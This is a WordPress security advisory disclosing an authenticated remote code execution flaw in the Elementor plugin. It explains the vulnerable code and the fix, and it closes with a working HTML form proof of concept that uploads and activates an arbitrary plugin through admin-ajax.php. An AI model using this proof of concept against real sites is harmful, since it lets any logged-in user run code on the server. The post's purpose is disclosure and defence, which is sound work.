5+ Million Install WordPress Plugin Elementor Contains Authenticated Remote Code Execution (RCE) Vulnerability
Late last week, third-party data we monitor showed what was possibly a hacker probing for usage of a WordPress plugin Elementor, which has 5+ million active installs according to WordPress, by the requesting this file:
/wp-content/plugins/elementor/readme.txt
We couldn’t find any recent disclosed vulnerabilities that should explain that, so we started doing our standard checks we do in a situation where a hacker may be exploiting an unfixed vulnerability in a plugin. What we immediately found was that plugin isn’t handling basic security right, as we found many functionalities where capabilities checks were missing where they shouldn’t. While some of those where not accessible to users that shouldn’t have access, we found at least one that is and the functionality accessible leads to one of the most serious types of vulnerabilities, remote code execution (RCE). That means that malicious code provided by the attacker can be run by the website.
In this instance, it is possible that the vulnerability might be exploitable by someone not logged in to WordPress, but it can easily be exploited by anyone logged in to WordPress who has access to WordPress admin dashboard. Unless another plugin restricts access to the admin dashboard, that would mean anyone logged in to WordPress would have access.
The vulnerability was introduced in the plugin in version 3.6.0, which was released on March 22. According to WordPress’ latest stats, 30.3 percent of users of the plugin are now on version 3.6.x.
Based on just what we saw in our very limited checking, we would recommend not using this plugin until it has had a thorough security review and all issues are addressed. That it has 5+ million installs and hasn’t been properly secured should be very concerning. It certainly isn’t for a lack of money at the developer, as they raised 15 million dollars in 2020. It also isn’t for a lack of reason to be concerned, as two years ago it was claimed a zero-day vulnerability in paid version of the plugin was being exploited.
We tested and confirmed that our firewall plugin for WordPress already protected against exploitation of this vulnerability when the option to restrict what types of of files can be uploaded in .zip files is enabled, as part of its protection against zero-day vulnerabilities. The next release of the firewall is planned to introduce protection more directly related to this type of situation (which also would be enabled by the default) and we are now looking to expand that protection to address to the situation involved here.
Last week introduced an improvement to our automated tools, including our Plugin Security Checker, to detect some instances of code like was vulnerable here and we have made a further improvement based on this situation. So you can check if other plugins might have a similar issue to what was found here using that tool.
Authenticated Remote Code Execution (RCE)
In the plugin’s file /core/app/modules/onboarding/module.php, the following code is set to run during admin_init, which means it runs even for those not logged in to WordPress:
434 435 436 437 438 439 440 | add_action( 'admin_init', function() { if ( wp_doing_ajax() && isset( $_POST['action'] ) && isset( $_POST['_nonce'] ) && wp_verify_nonce( $_POST['_nonce'], Ajax::NONCE_KEY ) ) { $this->maybe_handle_ajax(); |
That code will run another function in the file, maybe_handle_ajax(), if an AJAX request is being made and a valid nonce is provided. That function, in turn, will run other functions depending on the value of the POST input “action”:
377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 | private function maybe_handle_ajax() { $result = []; // phpcs:ignore WordPress.Security.NonceVerification.Missing switch ( $_POST['action'] ) { case 'elementor_update_site_name': // If no value is passed for any reason, no need ot update the site name. $result = $this->maybe_update_site_name(); break; case 'elementor_update_site_logo': $result = $this->maybe_update_site_logo(); break; case 'elementor_upload_site_logo': $result = $this->maybe_upload_logo_image(); break; case 'elementor_update_data_sharing': $result = $this->set_usage_data_opt_in(); break; case 'elementor_activate_hello_theme': $result = $this->activate_hello_theme(); break; case 'elementor_upload_and_install_pro': $result = $this->upload_and_install_pro(); break; case 'elementor_update_onboarding_option': $result = $this->maybe_update_onboarding_db_option(); } |
Neither of those does a capabilities check to limit who can access them.
The RCE vulnerability we found involves the function upload_and_install_pro() accessible through the previous function. That function will install a WordPress plugin sent with the request:
301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 | private function upload_and_install_pro() { $result = []; $error_message = __( 'There was a problem uploading your file', 'elementor' ); // phpcs:ignore WordPress.Security.NonceVerification.Missing if ( empty( $_FILES['fileToUpload'] ) ) { $result = [ 'status' => 'error', 'payload' => [ 'error_message' => $error_message, ], ]; return $result; } if ( ! class_exists( 'Automatic_Upgrader_Skin' ) ) { require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php'; } $skin = new Automatic_Upgrader_Skin(); $upgrader = new Plugin_Upgrader( $skin ); $upload_result = $upgrader->install( $_FILES['fileToUpload']['tmp_name'], [ 'overwrite_package' => false ] ); |
That means that arbitrary files can be uploaded to the website. The RCE occurs as the code then tries to activate a plugin that would be located in the location of Elementor Pro:
333 | $activated = activate_plugin( WP_PLUGIN_DIR . '/elementor-pro/elementor-pro.php', false, false, true ); |
So if plugin being uploaded matches that, it will get activated and the code in the relevant file will then run.
Based on all that, the only restriction in place is access to a valid nonce. What we found is that the relevant nonce is included in the line of the source code of admin pages of WordPress that starts “elementorCommonConfig”, which is included when logged in as a user with the Subscriber role.
WordPress Causes Full Disclosure
As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)
You can notify the developer of this issue on the forum as well.
Hopefully, the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).
If the moderation is cleaned up, it would also allow the possibility of being able to use the forum to start discussing fixing the problems caused by the very problematic handling of security by the team running the Plugin Directory, discussions which they have for years shut down through their control of the Support Forum.
Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:
Is It Fixed?
If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.
Proof of Concept
The following proof of concept will install the plugin specified, when logged in to WordPress.
Replace “[path to WordPress]” with the location of WordPress and “[nonce]” with the value of the nonce on the line of the source that begins on “elementorCommonConfig” on admin pages of the website.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php" enctype="multipart/form-data" method="POST"> <input type="hidden" name="action" value="elementor_upload_and_install_pro" /> <input type="hidden" name="_nonce" value="[nonce]" /> <input type="file" name="fileToUpload" /> <input type="submit" value="Submit" /> </form> </body> </html>
This has been fixed in Elementor 3.6.4, as mentioned in changelog “Optimized controls sanitization to enforce better security policies in Onboarding wizard” (https://wordpress.org/plugins/elementor/#developers).
The fix is visible in the original source https://github.com/elementor/elementor/commit/5c3bcdf4e291e8d1ddb495a938023453646b1020#diff-e1c63fd822393f59547df1d9aa174933e8c48be4bbe3718da019d718d003b235R355-R358, and a also in WordPress centralized SVN: https://plugins.trac.wordpress.org/browser/elementor/trunk/core/app/modules/onboarding/module.php?annotate=blame&rev=2709267#L355
The vulnerability has been addressed, but the general insecurity hasn’t.